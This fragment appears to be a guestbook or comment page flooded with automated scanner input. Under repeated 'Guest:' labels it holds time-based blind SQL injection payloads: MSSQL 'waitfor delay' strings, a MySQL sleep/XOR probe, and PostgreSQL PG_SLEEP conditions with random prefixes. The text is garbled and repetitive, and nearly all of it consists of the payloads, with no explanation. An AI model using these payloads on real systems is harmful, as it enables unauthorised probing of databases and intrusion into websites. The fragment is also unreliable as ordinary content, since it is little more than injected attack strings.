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555-1)); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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555-1)); waitfor delay '0:0:15' -- 
-1; waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
-1); waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
-1 waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
tkn9HBlZ'; waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
huxafH3Y'); waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
ksVXiofl')); waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
MqBkcYgU' OR 687=(SELECT 687 FROM PG_SLEEP(15))--

Guest:
555-1)); waitfor delay '0:0:15' -- 
gPY8PDg2') OR 136=(SELECT 136 FROM PG_SLEEP(15))--